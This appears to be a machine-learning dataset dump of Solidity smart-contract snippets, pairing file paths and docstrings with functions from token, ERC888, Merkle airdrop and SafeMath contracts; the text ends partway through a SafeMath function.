file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
./partial_match/80001/0x4196DcD4a4DF8F125Ca9a09b62aF432369694f3e/sources/contracts/lens/Quoter.sol
Parses a revert reason that should contain the numeric quote
function parseRevertReason(bytes memory reason) private pure returns (uint256, uint16) { if (reason.length != 64) { if (reason.length < 68) revert('Unexpected error'); assembly { reason := add(reason, 0x04) } revert(abi.decode(reason, (string))); } return abi.decode(reason, (uint256, uint16)); }
8,803,144
./full_match/5/0x5b49c637bEFC9Eaf226Fdc5c924C3DD4fee236AD/sources/contracts/utils/lib_storage/UserProxyStorage.sol
Get the storage bucket for this contract. Dip into assembly to change the slot pointed to by the local variable `stor`. See https:solidity.readthedocs.io/en/v0.6.8/assembly.html?highlight=slotaccess-to-external-variables-functions-and-libraries
function getStorage() internal pure returns (Storage storage stor) { assert(STORAGE_SLOT == bytes32(uint256(keccak256("userproxy.pmm.storage")) - 1)); bytes32 slot = STORAGE_SLOT; }
11,612,953
/* β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β•β•β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β•šβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•— β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β•β•β• DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string details); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata _details) external { _burn(msg.sender, value); emit Redeem(_details); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); (bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall"); IERC20(lexDAOtoken).transfer(msg.sender, userReward); emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
eip-2612 permit() pattern:
function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; uint256 chainId; DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); }
1,492,329
./partial_match/5/0xf96dc01589969B85e27017F1bC449CB981eED9C8/sources/contracts/L1/rollup/ChainStorageContainer.sol
@inheritdoc IChainStorageContainer/
function setGlobalMetadata( bytes27 _globalMetadata ) public onlyOwner { return buffer.setExtraData(_globalMetadata); }
16,868,725
pragma solidity ^0.4.23; import "../../libs/math/SafeMath.sol"; import "./IERC888.sol"; contract ERC888 is IERC888 { using SafeMath for uint; mapping(uint => mapping(address => mapping(address => uint))) internal allowed; mapping(uint => mapping(address => uint)) internal balances; mapping(uint => uint) internal totalSupply_; /** * @dev Gets the total amount of tokens stored by the contract * @param _tokenId is subtoken identifier * @return representing the total amount of tokens */ function totalSupply(uint _tokenId) external view returns (uint) { return totalSupply_[_tokenId]; } /** * @dev Gets the balance of the specified address * @param _tokenId is subtoken identifier * @param _owner address to query the balance of * @return representing the amount owned by the passed address */ function balanceOf(uint _tokenId, address _owner) external view returns (uint) { return balances[_tokenId][_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _tokenId subtoken identifier * @param _owner The address which owns the funds. * @param _spender The address which will spend the funds. * @return specifying the amount of tokens still available for the spender. */ function allowance(uint _tokenId, address _owner, address _spender) external view returns (uint) { return allowed[_tokenId][_owner][_spender]; } /** * @dev transfer token for a specified address * @param _tokenId subtoken identifier * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(uint _tokenId, address _to, uint _value) external returns (bool) { return transfer_(_tokenId, msg.sender, _to, _value); } /** * @dev Transfer tokens from one address to another * @param _tokenId subtoken identifier * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transfer_(uint _tokenId, address _from, address _to, uint _value) internal returns (bool) { if(_from != _to){ mapping(address => uint) _balances = balances[_tokenId]; uint _bfrom = _balances[_from]; uint _bto = _balances[_to]; require(_to != address(0)); require(_value <= _bfrom); _balances[_from] = _bfrom.sub(_value); _balances[_to] = _bto.add(_value); } emit Transfer(_tokenId, _from, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _tokenId subtoken identifier * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(uint _tokenId, address _from, address _to, uint _value) external returns (bool) { uint _allowed = allowed[_tokenId][_from][msg.sender]; require(_value <= _allowed); allowed[_tokenId][_from][msg.sender] = _allowed.sub(_value); return transfer_(_tokenId, _from, _to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _tokenId uint is subtoken identifier * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(uint _tokenId, address _spender, uint _value) external returns (bool) { address _sender = msg.sender; allowed[_tokenId][_sender][_spender] = _value; emit Approval(_tokenId, _sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * @param _tokenId subtoken identifier. * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(uint _tokenId, address _spender, uint _addedValue) external returns (bool) { address _sender = msg.sender; uint _allowed = allowed[_tokenId][_sender][_spender]; _allowed = _allowed.add(_addedValue); allowed[_tokenId][_sender][_spender] = _allowed; emit Approval(_tokenId, _sender, _spender, _allowed); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * @param _tokenId subtoken identifier. * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(uint _tokenId, address _spender, uint _subtractedValue) external returns (bool) { address _sender = msg.sender; uint _allowed = allowed[_tokenId][_sender][_spender]; if (_subtractedValue > _allowed) { _allowed = 0; } else { _allowed = _allowed.sub(_subtractedValue); } allowed[_tokenId][_sender][_spender] = _allowed; emit Approval(_tokenId, _sender, _spender, _allowed); return true; } }
Increase the amount of tokens that an owner allowed to a spender. _tokenId subtoken identifier. _spender The address which will spend the funds. _addedValue The amount of tokens to increase the allowance by./
function increaseApproval(uint _tokenId, address _spender, uint _addedValue) external returns (bool) { address _sender = msg.sender; uint _allowed = allowed[_tokenId][_sender][_spender]; _allowed = _allowed.add(_addedValue); allowed[_tokenId][_sender][_spender] = _allowed; emit Approval(_tokenId, _sender, _spender, _allowed); return true; }
14,033,040
./full_match/1/0x7d0C7372f38958d9CF5aE6DA2b0794337045559b/sources/contracts/Controller.sol
Remove strategy from storage array and update the strategies hash strategy strategy address to remove/
function _removeStrategyStorage(address strategy) private { uint256 lastEntry = strategies.length - 1; for (uint256 i = 0; i < lastEntry; i++) { if (strategies[i] == strategy) { strategies[i] = strategies[lastEntry]; break; } } strategies.pop(); _updateStrategiesHash(strategies); }
9,716,456
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@1001-digital/check-address/contracts/CheckAddress.sol"; /// @author 1001.digital /// @title An extension that enables checking that an address only holds one token. abstract contract OnePerWallet is ERC721 { // Mapping owner address to token mapping (address => uint256) private _ownedToken; /// Require an externally owned account to only hold one token. /// @param wallet the address to check /// @dev Only allow one token per wallet modifier onePerWallet(address wallet) { if (CheckAddress.isExternal(wallet)) { require(_ownedToken[wallet] == 0, "Can only hold one token per wallet"); } _; } /// Require any account on the network to only hold one token. /// @param account the address to checkk /// @dev Only allow one token per account modifier onePerAccount(address account) { require( msg.sender == tx.origin && _ownedToken[account] == 0, "Can only hold one token per account" ); _; } /// Query the owner of a token. /// @param owner the address of the owner /// @dev Get the the token of an owner function tokenOf(address owner) public view virtual returns (uint256) { require(_ownedToken[owner] > 0, "No token for this account."); // We subtract 1 as we added 1 to account for 0-index based collections return _ownedToken[owner] - 1; } /// Store `_ownedToken` instead of `_balances`. /// @param to the address to which to mint the token /// @param tokenId the tokenId that should be minted /// @dev overrides the OpenZeppelin `_mint` method to accomodate for our own balance tracker function _mint(address to, uint256 tokenId) internal virtual override onePerWallet(to) { super._safeMint(to, tokenId); // We add one to account for 0-index based collections _ownedToken[to] = tokenId + 1; } /// Track transfers in `_ownedToken` instead of `_balances` /// @param from the address from which to transfer the token /// @param to the address to which to transfer the token /// @param tokenId the tokenId that is being transferred /// @dev overrides the OpenZeppelin `_transfer` method to accomodate for our own balance tracker function _transfer(address from, address to, uint256 tokenId) internal virtual override onePerWallet(to) { super._transfer(from, to, tokenId); _ownedToken[from] = 0; // We add one to account for 0-index based collections _ownedToken[to] = tokenId + 1; } }
Track transfers in `_ownedToken` instead of `_balances` from the address from which to transfer the token to the address to which to transfer the token tokenId the tokenId that is being transferred overrides the OpenZeppelin `_transfer` method to accomodate for our own balance tracker We add one to account for 0-index based collections
function _transfer(address from, address to, uint256 tokenId) internal virtual override onePerWallet(to) { super._transfer(from, to, tokenId); _ownedToken[from] = 0; _ownedToken[to] = tokenId + 1; }
14,109,872
./partial_match/1/0x965Dc715EcD99C1CB2D3600D68F59A6FeF8Dd37C/sources/PriceOracle.sol
Updates the price of the token specified. Throws if the sender is not the owner of this contract. tokenAddr The address of the token newTokenPrice The new price of the token, expressed in USD with 6 decimal positions/
function updateTokenPrice (address tokenAddr, uint256 newTokenPrice) external override onlyOwner { require(tokenAddr != address(0), "Token address required"); require(newTokenPrice > 0, "Token price required"); _tokenPrice[tokenAddr] = newTokenPrice; } }
4,219,694
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import { MerkleProof } from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; /// @title Wagumi Token <https://wagumi.xyz> /// @author Shun Kakinoki <https://shunkakinoki.com> /// @notice A RFC proposal for a token that can be used to govern Wagumi DAO. contract WagumiAirdrop is Ownable, Pausable { /* -------------------------------------------------------------------------- */ /* CONFIG */ /* -------------------------------------------------------------------------- */ IERC20 public immutable wagumiToken; bytes32 public merkleRoot; mapping(address => bool) public hasClaimed; uint256 public claimPeriodEnds; address public constant wagumiCatsNFT = 0x6144D927EE371de7e7f8221b596F3432E7A8e6D9; uint256 public constant wagumiCatsHolderBonus = 1000e18; /* -------------------------------------------------------------------------- */ /* EVENTS */ /* -------------------------------------------------------------------------- */ /// @notice A claim has been made to the address of a specified amount event Claim(address indexed to, uint256 amount); /* -------------------------------------------------------------------------- */ /* ERROR */ /* -------------------------------------------------------------------------- */ /// @notice Thrown if address has already claimed error AlreadyClaimed(); /// @notice Thrown error if proof is invalid error InvalidProof(); /// @notice Thrown if claim period has ended error ClaimEnded(); /* -------------------------------------------------------------------------- */ /* CONSTRUCTOR */ /* -------------------------------------------------------------------------- */ constructor(address _wagumiToken) { wagumiToken = IERC20(_wagumiToken); } /* -------------------------------------------------------------------------- */ /* ADMIN */ /* -------------------------------------------------------------------------- */ /// @notice Allows owner to pause state function pause() external onlyOwner { _pause(); } /// @notice Allows owner to unpause state function unpause() external onlyOwner { _unpause(); } /* -------------------------------------------------------------------------- */ /* PUBLIC */ /* -------------------------------------------------------------------------- */ /// @notice Allows claiming a number of tokens to a given address /// @param _to The address to send the minted tokens to /// @param _amount The amount of tokens to claim /// @param _proof The merkle proof of the claim /// @param _tokenId The tokenId of wagumi cats function claim( address _to, uint256 _amount, bytes32[] calldata _proof, uint256 _tokenId ) external whenNotPaused { /// Revert if already claimed if (!isClaimed(_to)) { revert AlreadyClaimed(); } /// Revert if claim period has ended if (block.timestamp > claimPeriodEnds) { revert ClaimEnded(); } /// Verify Merkle proof, or revert if not in tree bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _amount)); bool valid = verify(_proof, leaf); if (!valid) { revert InvalidProof(); } /// Send tokens to address with specified amount hasClaimed[_to] = true; /// Send additional tokens if owner has wagumi cats if (IERC721(wagumiCatsNFT).ownerOf(_tokenId) == msg.sender) { wagumiToken.transfer(_to, _amount + wagumiCatsHolderBonus); return; } wagumiToken.transfer(_to, _amount); emit Claim(_to, _amount); } /// @notice Get whether a given address has already claimed tokens /// @param _to The address to check function isClaimed(address _to) public view returns (bool) { return hasClaimed[_to]; } /// @notice Verify a merkle proof of a claim /// @param _proof The merkle proof to verify /// @param _leaf The leaf to verify function verify(bytes32[] calldata _proof, bytes32 _leaf) public view returns (bool) { return MerkleProof.verify(_proof, merkleRoot, _leaf); } }
Allows claiming a number of tokens to a given address _to The address to send the minted tokens to _amount The amount of tokens to claim _proof The merkle proof of the claim _tokenId The tokenId of wagumi cats Revert if already claimed Revert if claim period has ended Send additional tokens if owner has wagumi cats
function claim( address _to, uint256 _amount, bytes32[] calldata _proof, uint256 _tokenId ) external whenNotPaused { if (!isClaimed(_to)) { revert AlreadyClaimed(); } if (block.timestamp > claimPeriodEnds) { revert ClaimEnded(); } bool valid = verify(_proof, leaf); if (!valid) { revert InvalidProof(); } if (IERC721(wagumiCatsNFT).ownerOf(_tokenId) == msg.sender) { wagumiToken.transfer(_to, _amount + wagumiCatsHolderBonus); return; } wagumiToken.transfer(_to, _amount); emit Claim(_to, _amount); }
6,401,351
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.6.11; // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint a, uint b) internal pure returns (bool, uint) { uint c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint a, uint b) internal pure returns (bool, uint) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint a, uint b) internal pure returns (bool, uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint a, uint b) internal pure returns (bool, uint) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint a, uint b) internal pure returns (bool, uint) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) return 0; uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint) { require(b 